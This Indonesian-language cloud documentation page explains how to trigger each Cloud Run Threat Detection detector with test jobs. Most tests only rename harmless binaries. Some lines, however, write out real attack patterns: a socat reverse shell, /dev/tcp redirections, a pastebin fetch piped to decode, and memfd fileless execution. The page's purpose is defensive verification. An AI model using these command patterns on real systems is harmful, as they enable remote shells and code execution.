Halaman ini menjelaskan cara memverifikasi bahwa Cloud Run Threat Detection berfungsi dengan memicu detektor secara sengaja dan memeriksa temuan. Cloud Run Threat Detection adalah layanan bawaan Security Command Center.
Sebelum memulai
Untuk mendeteksi potensi ancaman terhadap layanan dan tugas Cloud Run, pastikan bahwa Cloud Run Threat Detection layanan diaktifkan di Security Command Center. Beberapa detektor dinonaktifkan secara default. Untuk menguji detektor tersebut, Anda harus mengaktifkannya terlebih dahulu.
Menetapkan variabel lingkungan
Untuk menguji detektor, gunakan Google Cloud console dan Cloud Shell. Anda dapat menetapkan variabel lingkungan di Cloud Shell agar lebih mudah menjalankan perintah. Anda akan menggunakan variabel ini untuk menguji semua detektor.
Buka Google Cloud konsol.
Pilih project yang berisi tugas Cloud Run yang ingin Anda gunakan untuk pengujian.
Klik Aktifkan Cloud Shell.
Di Cloud Shell, tetapkan variabel lingkungan:
Tetapkan project dan region tempat Anda akan membuat tugas pengujian.
export PROJECT=PROJECT_ID export REGION=REGION
Setelah variabel lingkungan ditetapkan, Anda dapat terus mengikuti petunjuk untuk menguji detektor.
Perintah dan Kontrol: Alat Steganografi Terdeteksi
Untuk memicu temuan Command and Control: Steganography Tool Detected (Pratinjau) , jalankan program biner dengan kapabilitas manipulasi file yang konsisten dengan alat steganografi dalam container. Contoh ini menyalin /bin/ls dan mengganti namanya menjadi steghide.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Command and Control: Steganography Tool
Detected.
Akses Kredensial: Find Google Cloud Credentials
Untuk memicu temuan Credential Access: Find Google Cloud Credentials, jalankan program biner yang dapat menelusuri konten file dalam container. Contoh ini menyalin /bin/ls, mengganti namanya menjadi grep, dan menjalankannya dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Credential Access: Find Google Cloud Credentials.
Akses Kredensial: Pengintaian Kunci GPG
Untuk memicu temuan Credential Access: GPG Key Reconnaissance, jalankan alat penelusuran dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Credential Access: GPG Key Reconnaissance.
Akses Kredensial: Menelusuri Kunci Pribadi atau Sandi
Untuk memicu temuan Credential Access: Search Private Keys or Passwords, jalankan alat penelusuran dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Credential Access: Search Private Keys or
Passwords.
Penghindaran Pertahanan: Command Line File ELF Base64
Untuk memicu temuan Defense Evasion: Base64 ELF File Command Line, jalankan
base64 dengan argumen header ELF yang dienkode.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini akan membuat dua temuan Defense Evasion: Base64 ELF File Command Line.
Penghindaran Pertahanan: Skrip Python yang Di-encode Base64 Dieksekusi
Untuk memicu temuan Defense Evasion: Base64 Encoded Python Script Executed, jalankan echo dengan perintah Python yang dienkode.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Python Script Executed.
Penghindaran Pertahanan: Skrip Shell yang Di-encode Base64 Dieksekusi
Untuk memicu temuan Defense Evasion: Base64 Encoded Shell Script Executed, jalankan echo dengan perintah shell yang dienkode.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Shell Script Executed.
Penghindaran Pertahanan: Meluncurkan Alat Compiler Kode Dalam Container
Untuk memicu temuan Defense Evasion: Launch Code Compiler Tool In Container
(Pratinjau), jalankan alat compiler.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Defense Evasion: Launch Code Compiler Tool
In Container.
Eksekusi: Biner Berbahaya yang Ditambahkan Dieksekusi
Untuk memicu temuan Eksekusi: Biner Berbahaya yang Ditambahkan Dieksekusi, tambahkan biner berbahaya (EICAR) ke container Anda dan jalankan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Biner Berbahaya yang Ditambahkan Dieksekusi.
Eksekusi: Library Berbahaya yang Ditambahkan Dimuat
Untuk memicu temuan Eksekusi: Library Berbahaya yang Ditambahkan Dimuat, tambahkan
library berbahaya di container Anda dan muat. Contoh ini memperbarui file /tmp/test_mal_lib dengan library berbahaya yang disimulasikan, lalu memuatnya menggunakan mmap. Pemuatan library dari file yang ada tidak diharapkan karena file tersebut tidak ada dalam image container asli dan library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh threat intelligence.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Library Berbahaya yang Ditambahkan Dimuat.
Eksekusi: Container Escape
Untuk memicu temuan Eksekusi: Container Escape, jalankan alat yang mensimulasikan perilaku container escape.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Container Escape.
Eksekusi: Eksekusi Tanpa File di /memfd:
Untuk memicu temuan Execution: Fileless Execution in /memfd:,
jalankan proses dari sistem file dalam memori /memfd: menggunakan Python.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Fileless Execution in /memfd:.
Eksekusi: Eksekusi Alat Serangan Kubernetes
Untuk memicu temuan Eksekusi: Eksekusi Alat Serangan Kubernetes, jalankan program yang cocok dengan alat serangan yang dikenal.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Eksekusi Alat Serangan Kubernetes.
Eksekusi: Eksekusi Alat Pengintaian Lokal
Untuk memicu temuan Execution: Local Reconnaissance Tool Execution, jalankan program yang cocok dengan alat pengintaian.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Eksekusi Alat Pengintaian Lokal.
Eksekusi: Biner Berbahaya yang Diubah Dieksekusi
Untuk memicu temuan Eksekusi: Biner Berbahaya yang Diubah Dieksekusi, ubah biner agar cocok dengan tanda tangan berbahaya yang dikenal (EICAR).
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Biner Berbahaya yang Diubah Dieksekusi.
Eksekusi: Library Berbahaya yang Diubah Dimuat
Untuk memicu temuan Eksekusi: Library Berbahaya yang Diubah Dimuat, ubah file yang ada dengan library berbahaya di container Anda dan muat. Contoh ini memperbarui file /etc/issue dengan library berbahaya yang disimulasikan, lalu memuatnya menggunakan mmap. Pemuatan library dari file yang ada tidak diharapkan karena library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh threat intelligence.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Library Berbahaya yang Diubah Dimuat.
Eksekusi: Eksekusi Kode Jarak Jauh Netcat Dalam Container
Untuk memicu peristiwa Execution: Netcat Remote Code Execution In Container, jalankan netcat dengan argumen yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Netcat Remote Code Execution In
Container.
Eksekusi: Kemungkinan Eksekusi Perintah Arbitrer melalui CUPS (CVE-2024-47076)
Untuk memicu temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), jalankan skrip yang mensimulasikan eksploitasi.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).
Eksekusi: Kemungkinan Eksekusi Perintah Jarak Jauh Terdeteksi
Untuk memicu temuan Execution: Possible Remote Command Execution Detected
(Pratinjau), jalankan perintah yang mencoba koneksi jarak jauh.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Possible Remote Command
Execution Detected.
Eksekusi: Program yang Dijalankan dengan Env Proxy HTTP yang Tidak Diizinkan
Untuk memicu temuan Execution: Program Run with Disallowed HTTP Proxy Env, jalankan program dengan variabel lingkungan proxy yang buruk.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Program Run with Disallowed
HTTP Proxy Env.
Eksekusi: Reverse Shell Socat Terdeteksi
Untuk memicu temuan Execution: Socat Reverse Shell Detected, buat reverse shell menggunakan utilitas socat.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Socat Reverse Shell Detected.
Eksekusi: Objek Bersama OpenSSL Mencurigakan Dimuat
Untuk memicu temuan Execution: Suspicious OpenSSL Shared Object Loaded, jalankan openssl dengan library yang mencurigakan.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Execution: Suspicious OpenSSL Shared Object Loaded.
Exfiltration: Meluncurkan Alat Salin File Jarak Jauh Dalam Container
Untuk memicu temuan Exfiltration: Launch Remote File Copy Tools In Container, jalankan alat salin jarak jauh.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Exfiltration: Launch Remote File Copy Tools
In Container.
Dampak: Mendeteksi Cmdline Berbahaya
Untuk memicu temuan Impact: Detect Malicious Cmdlines (Pratinjau),
jalankan nama perintah yang mencurigakan (IPFS).
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Detect Malicious Cmdlines.
Dampak: Menghapus Data Massal dari Disk
Untuk memicu temuan Impact: Remove Bulk Data From Disk, jalankan alat seperti shred.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Remove Bulk Data From Disk.
Dampak: Aktivitas penambangan mata uang kripto yang mencurigakan menggunakan Protokol Stratum
Untuk memicu temuan Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, jalankan biner dengan argumen yang menyerupai yang digunakan oleh
software penambangan mata uang kripto yang berkomunikasi menggunakan protokol Stratum.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol.
Skrip Berbahaya Dieksekusi
Untuk memicu temuan Skrip Berbahaya Dieksekusi, jalankan skrip yang meniru perilaku berbahaya.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Skrip Berbahaya Dieksekusi.
URL Berbahaya Teramati
Untuk memicu temuan URL Berbahaya Teramati, jalankan program biner dan berikan URL berbahaya sebagai argumen.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini memicu temuan URL Berbahaya Teramati.
Eskalasi Akses: Penyalahgunaan Sudo Untuk Eskalasi Akses (CVE-2019-14287)
Untuk memicu temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), jalankan biner sudo dengan parameter -u#-1.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).
Eskalasi Akses: Potensi Eskalasi Akses Sudo (CVE-2021-3156)
Untuk memicu temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), jalankan program biner sudo dengan parameter -s dan parameter yang diakhiri dengan ``.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).
Eskalasi Akses: Kerentanan Eskalasi Akses Lokal Polkit (CVE-2021-4034)
Untuk memicu temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), jalankan program biner pkexec dengan variabel lingkungan GCONV_PATH yang ditetapkan sebagai pengguna non-root.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).
Reverse Shell
Untuk memicu temuan reverse shell, mulai program biner dengan pengalihan stdin ke soket yang terhubung TCP.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Reverse Shell.
Eksekusi: Image Docker Penambangan Kripto
Untuk memicu temuan Eksekusi: Image Docker Penambangan Kripto, deploy container menggunakan nama image Docker yang terkait dengan software penambangan kripto.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Eksekusi: Image Docker Penambangan Kripto. Perhatikan bahwa deployment tugas akan gagal karena image tidak ada, tetapi temuan akan tetap dibuat.
Dampak: Perintah Penambangan Kripto
Untuk memicu temuan Impact: Cryptomining Commands, jalankan perintah dengan argumen yang menyerupai software penambangan kripto yang dikenal.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Impact: Cryptomining Commands.
